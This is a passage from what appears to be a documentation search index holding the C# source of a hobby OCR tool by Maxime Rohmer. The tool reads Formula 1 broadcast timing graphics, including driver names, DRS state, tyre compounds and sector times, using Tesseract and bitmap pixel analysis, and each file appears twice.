FirstZoneSize.Height); Point driverNamePosition = new Point(driverName.GetProperty(\"x\").GetInt32(), driverName.GetProperty(\"y\").GetInt32()); var driverSector1 = windows[0].GetProperty(\"Sector1\"); Size driverSector1Area = new Size(driverSector1.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector1Position = new Point(driverSector1.GetProperty(\"x\").GetInt32(), driverSector1.GetProperty(\"y\").GetInt32()); var driverSector2 = windows[0].GetProperty(\"Sector2\"); Size driverSector2Area = new Size(driverSector2.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector2Position = new Point(driverSector2.GetProperty(\"x\").GetInt32(), driverSector2.GetProperty(\"y\").GetInt32()); var driverSector3 = windows[0].GetProperty(\"Sector3\"); Size driverSector3Area = new Size(driverSector3.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector3Position = new Point(driverSector3.GetProperty(\"x\").GetInt32(), driverSector3.GetProperty(\"y\").GetInt32()); float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count); Bitmap MainZoneImage = mainZone.ZoneImage; List zonesToAdd = new List(); List zonesImages = new List(); for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset)); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), \"DriverZone\"); zonesToAdd.Add(newDriverZone); zonesImages.Add(newDriverZone.ZoneImage); newDriverZone.ZoneImage.Save(\"Driver\"+i+\".png\"); } //Parallel.For(0, NUMBER_OF_DRIVERS, i => for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Zone newDriverZone = zonesToAdd[(int)i]; Bitmap zoneImg = zonesImages[(int)i]; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR)); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR)); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR)); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR)); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR)); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR)); mainZone.AddZone(newDriverZone); }//); //MessageBox.Show(\"We have a main zone with \" + MainZone.Zones.Count() + \" Driver zones with \" + MainZone.Zones[4].Windows.Count() + \" windows each and we have \" + Drivers.Count + \" drivers\"); mainZones.Add(mainZone); } } catch (IOException ex) { MessageBox.Show(\"Error reading JSON file: \" + ex.Message); } catch (JsonException ex) { MessageBox.Show(\"Invalid JSON format: \" + ex.Message); } return mainZones; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public async Task Decode(List mainZones,List drivers) { string result = \"\"; List mainResults = new List(); //Decode for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++) { switch (mainZoneId) { case 0: //Main Zone foreach (Zone z in mainZones[mainZoneId].Zones) { mainResults.Add(await z.Decode(Drivers)); } break; //Next there could be a Title Zone and TrackInfoZone } } //Display foreach (DriverData driver in mainResults) { result += driver.ToString(); result += Environment.NewLine; } return result; } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime(int amountOfMs) { //Convert.ToInt32 would round upand I dont want that int minuts = (int)((float)amountOfMs / (1000f * 60f)); int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000); int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000)); return minuts + \":\" + seconds.ToString(\"00\") + \":\" + ms.ToString(\"000\"); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw(Bitmap image,List mainZones) { Graphics g = Graphics.FromImage(image); foreach (Zone z in mainZones) { int count = 0; foreach (Zone zz in z.Zones) { g.DrawRectangle(Pens.Red, z.Bounds); foreach (Window w in zz.Windows) { g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height)); } count++; } } return image; } } }","title":"Reader.cs"},{"location":"Code/Zone.html","text":"Zone.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class Zone { private Rectangle _bounds; private List _zones; private List _windows; private Bitmap _image; private string _name; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Bitmap Image { get { return _image; } set { //It automatically sets the image for the contained windows and zones _image = Image; foreach (Window w in Windows) { w.Image = ZoneImage; } foreach (Zone z in Zones) { z.Image = Image; } } } public Rectangle Bounds { get => _bounds; protected set => _bounds = value; } public List Zones { get => _zones; protected set => _zones = value; } public List Windows { get => _windows; protected set => _windows = value; } public string Name { get => _name; protected set => _name = value; } public Zone(Bitmap image, Rectangle bounds, string name) { Windows = new List(); Zones = new List(); Name = name; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image; Bounds = bounds; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone(Zone zone) { Zones.Add(zone); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow(Window window) { Windows.Add(window); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual async Task Decode(List driverList) { int sectorCount = 0; DriverData result = new DriverData(); Parallel.ForEach(Windows, async w => { // A switch would be prettier but I dont think its supported in this C# version if (w is DriverNameWindow) result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); if (w is DriverDrsWindow) result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); if (w is DriverGapToLeaderWindow) result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); if (w is DriverLapTimeWindow) result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); if (w is DriverPositionWindow) result.Position = (int)await (w as DriverPositionWindow).DecodePng(); if (w is DriverSectorWindow) { sectorCount++; if (sectorCount == 1) result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 2) result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 3) result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); } if (w is DriverTyresWindow) result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); }); return result; } public virtual Bitmap Draw() { Bitmap img; //If its the main zone we want to see everything if (Zones.Count > 0) { img = Image; } else { img = ZoneImage; } Graphics g = Graphics.FromImage(img); //If its the main zone we need to visualize the Zone bounds displayed if (Zones.Count > 0) g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds); foreach (Zone z in Zones) { Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height); g.DrawRectangle(Pens.Red, newBounds); } foreach (Window w in Windows) { g.DrawRectangle(Pens.Blue, w.Bounds); } return img; } public void ResetZones() { Zones.Clear(); } public void ResetWindows() { foreach (Zone z in Zones) { z.ResetWindows(); } Windows.Clear(); } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"height\\\":\" + Bounds.Height; if (Windows.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Windows\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Wcount = 0; foreach (Window w in Windows) { result += \"\\t\\t\" + w.ToJSON(); Wcount++; if (Wcount != Windows.Count) result += \",\"; } result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } if (Zones.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Zones\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Zcount = 0; //foreach (Zone z in Zones) //{ result += \"\\t\\t\" + Zones[0].ToJSON(); Zcount++; if (Zcount != Zones.Count) //result += \",\"; //} result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } result += \"}\"; return result; } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } }","title":"Zone.cs"},{"location":"Code/Zone.html#zonecs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class Zone { private Rectangle _bounds; private List _zones; private List _windows; private Bitmap _image; private string _name; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Bitmap Image { get { return _image; } set { //It automatically sets the image for the contained windows and zones _image = Image; foreach (Window w in Windows) { w.Image = ZoneImage; } foreach (Zone z in Zones) { z.Image = Image; } } } public Rectangle Bounds { get => _bounds; protected set => _bounds = value; } public List Zones { get => _zones; protected set => _zones = value; } public List Windows { get => _windows; protected set => _windows = value; } public string Name { get => _name; protected set => _name = value; } public Zone(Bitmap image, Rectangle bounds, string name) { Windows = new List(); Zones = new List(); Name = name; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image; Bounds = bounds; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone(Zone zone) { Zones.Add(zone); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow(Window window) { Windows.Add(window); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual async Task Decode(List driverList) { int sectorCount = 0; DriverData result = new DriverData(); Parallel.ForEach(Windows, async w => { // A switch would be prettier but I dont think its supported in this C# version if (w is DriverNameWindow) result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); if (w is DriverDrsWindow) result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); if (w is DriverGapToLeaderWindow) result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); if (w is DriverLapTimeWindow) result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); if (w is DriverPositionWindow) result.Position = (int)await (w as DriverPositionWindow).DecodePng(); if (w is DriverSectorWindow) { sectorCount++; if (sectorCount == 1) result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 2) result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 3) result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); } if (w is DriverTyresWindow) result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); }); return result; } public virtual Bitmap Draw() { Bitmap img; //If its the main zone we want to see everything if (Zones.Count > 0) { img = Image; } else { img = ZoneImage; } Graphics g = Graphics.FromImage(img); //If its the main zone we need to visualize the Zone bounds displayed if (Zones.Count > 0) g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds); foreach (Zone z in Zones) { Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height); g.DrawRectangle(Pens.Red, newBounds); } foreach (Window w in Windows) { g.DrawRectangle(Pens.Blue, w.Bounds); } return img; } public void ResetZones() { Zones.Clear(); } public void ResetWindows() { foreach (Zone z in Zones) { z.ResetWindows(); } Windows.Clear(); } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"height\\\":\" + Bounds.Height; if (Windows.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Windows\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Wcount = 0; foreach (Window w in Windows) { result += \"\\t\\t\" + w.ToJSON(); Wcount++; if (Wcount != Windows.Count) result += \",\"; } result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } if (Zones.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Zones\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Zcount = 0; //foreach (Zone z in Zones) //{ result += \"\\t\\t\" + Zones[0].ToJSON(); Zcount++; if (Zcount != Zones.Count) //result += \",\"; //} result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } result += \"}\"; return result; } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } }","title":"Zone.cs"},{"location":"Code/DriverDrsWindow.html","text":"DriverDrsWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; namespace Test_Merge { internal class DriverDrsWindow:Window { private static int EmptyDrsGreenValue = -1; private static Random rnd = new Random(); public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"DRS\"; } public override async Task DecodePng() { bool result = false; int greenValue = GetGreenPixels(); if (EmptyDrsGreenValue == -1) EmptyDrsGreenValue = greenValue; if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30) result = true; return result; } private unsafe int GetGreenPixels() { int tot = 0; Bitmap bmp = WindowImage; Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < bmp.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmp.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; if (green > blue * 1.5 && green > red * 1.5) { tot++; } } } } bmp.UnlockBits(bmpData); return tot; } public Rectangle GetBox() { var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage)); Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); Page page = Engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { page.Dispose(); return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height); } } while (iter.Next(PageIteratorLevel.Word)); page.Dispose(); return new Rectangle(0, 0, 0, 0); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverDrsWindow.html#driverdrswindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; namespace Test_Merge { internal class DriverDrsWindow:Window { private static int EmptyDrsGreenValue = -1; private static Random rnd = new Random(); public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"DRS\"; } public override async Task DecodePng() { bool result = false; int greenValue = GetGreenPixels(); if (EmptyDrsGreenValue == -1) EmptyDrsGreenValue = greenValue; if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30) result = true; return result; } private unsafe int GetGreenPixels() { int tot = 0; Bitmap bmp = WindowImage; Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < bmp.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmp.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; if (green > blue * 1.5 && green > red * 1.5) { tot++; } } } } bmp.UnlockBits(bmpData); return tot; } public Rectangle GetBox() { var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage)); Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); Page page = Engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { page.Dispose(); return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height); } } while (iter.Next(PageIteratorLevel.Word)); page.Dispose(); return new Rectangle(0, 0, 0, 0); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverNameWindow.html","text":"DriverNameWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverNameWindow : Window { public static Random rnd = new Random(); public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Name\"; } /// /// Decodes using OCR wich driver name is in the image /// /// /// The driver name in string public override async Task DecodePng(List DriverList) { string result = \"\"; result = await GetStringFromPng(WindowImage, Engine); if (!IsADriver(DriverList, result)) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper()); } return result; } /// /// Verifies that the name found in the OCR is a valid name /// /// /// /// If ye or no the driver exists private static bool IsADriver(List driverList, string potentialDriver) { bool result = false; //I cant use drivers.Contains because it has missmatched cases and all foreach (string name in driverList) { if (name.ToUpper() == potentialDriver.ToUpper()) result = true; } return result; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverNameWindow.html#drivernamewindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverNameWindow : Window { public static Random rnd = new Random(); public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Name\"; } /// /// Decodes using OCR wich driver name is in the image /// /// /// The driver name in string public override async Task DecodePng(List DriverList) { string result = \"\"; result = await GetStringFromPng(WindowImage, Engine); if (!IsADriver(DriverList, result)) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper()); } return result; } /// /// Verifies that the name found in the OCR is a valid name /// /// /// /// If ye or no the driver exists private static bool IsADriver(List driverList, string potentialDriver) { bool result = false; //I cant use drivers.Contains because it has missmatched cases and all foreach (string name in driverList) { if (name.ToUpper() == potentialDriver.ToUpper()) result = true; } return result; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverTyresWindow.html","text":"DriverTyresWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverTyresWindow:Window { private static Random rnd = new Random(); int seed = rnd.Next(0, 10000); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00); public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00); public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8); public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e); public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6); public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20); public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Tyres\"; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override async Task DecodePng() { return await GetTyreInfos(); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private async Task GetTyreInfos() { Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone()); Tyre.Type type = Tyre.Type.Undefined; type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone)); int laps = -1; string number = await GetStringFromPng(tyreZone, Engine, \"0123456789\", OcrImage.WindowType.Tyre); try { laps = Convert.ToInt32(number); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0; } //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + \"Tyre\" + type + \"Laps\" + laps + '#' + rnd.Next(0, 1000) + \".png\"); return new Tyre(type, laps); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50, 0x50, 0x50); Color currentColor = Color.FromArgb(0, 0, 0); Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition, height); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f); int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f); if (CorrectedX <= 0) return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height); return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre.Type GetTyreTypeFromColor(Color inputColor) { Tyre.Type type = Tyre.Type.Undefined; List colors = new List(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors.Add(SOFT_TYRE_COLOR); colors.Add(MEDIUM_TYRE_COLOR); colors.Add(HARD_TYRE_COLOR); colors.Add(INTER_TYRE_COLOR); colors.Add(WET_TYRE_COLOR); colors.Add(EMPTY_COLOR); Color closestColor = colors[0]; int closestDistance = int.MaxValue; foreach (Color color in colors) { int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B); if (distance < closestDistance) { closestColor = color; closestDistance = distance; } } //We cant use a switch as the colors cant be constants ... if (closestColor == SOFT_TYRE_COLOR) type = Tyre.Type.Soft; if (closestColor == MEDIUM_TYRE_COLOR) type = Tyre.Type.Medium; if (closestColor == HARD_TYRE_COLOR) type = Tyre.Type.Hard; if (closestColor == INTER_TYRE_COLOR) type = Tyre.Type.Inter; if (closestColor == WET_TYRE_COLOR) type = Tyre.Type.Wet; if (closestColor == EMPTY_COLOR) return Tyre.Type.Undefined; return type; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/DriverTyresWindow.html#drivertyreswindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverTyresWindow:Window { private static Random rnd = new Random(); int seed = rnd.Next(0, 10000); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00); public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00); public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8); public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e); public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6); public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20); public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Tyres\"; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override async Task DecodePng() { return await GetTyreInfos(); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private async Task GetTyreInfos() { Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone()); Tyre.Type type = Tyre.Type.Undefined; type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone)); int laps = -1; string number = await GetStringFromPng(tyreZone, Engine, \"0123456789\", OcrImage.WindowType.Tyre); try { laps = Convert.ToInt32(number); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0; } //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + \"Tyre\" + type + \"Laps\" + laps + '#' + rnd.Next(0, 1000) + \".png\"); return new Tyre(type, laps); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50, 0x50, 0x50); Color currentColor = Color.FromArgb(0, 0, 0); Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition, height); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f); int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f); if (CorrectedX <= 0) return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height); return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre.Type GetTyreTypeFromColor(Color inputColor) { Tyre.Type type = Tyre.Type.Undefined; List colors = new List(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors.Add(SOFT_TYRE_COLOR); colors.Add(MEDIUM_TYRE_COLOR); colors.Add(HARD_TYRE_COLOR); colors.Add(INTER_TYRE_COLOR); colors.Add(WET_TYRE_COLOR); colors.Add(EMPTY_COLOR); Color closestColor = colors[0]; int closestDistance = int.MaxValue; foreach (Color color in 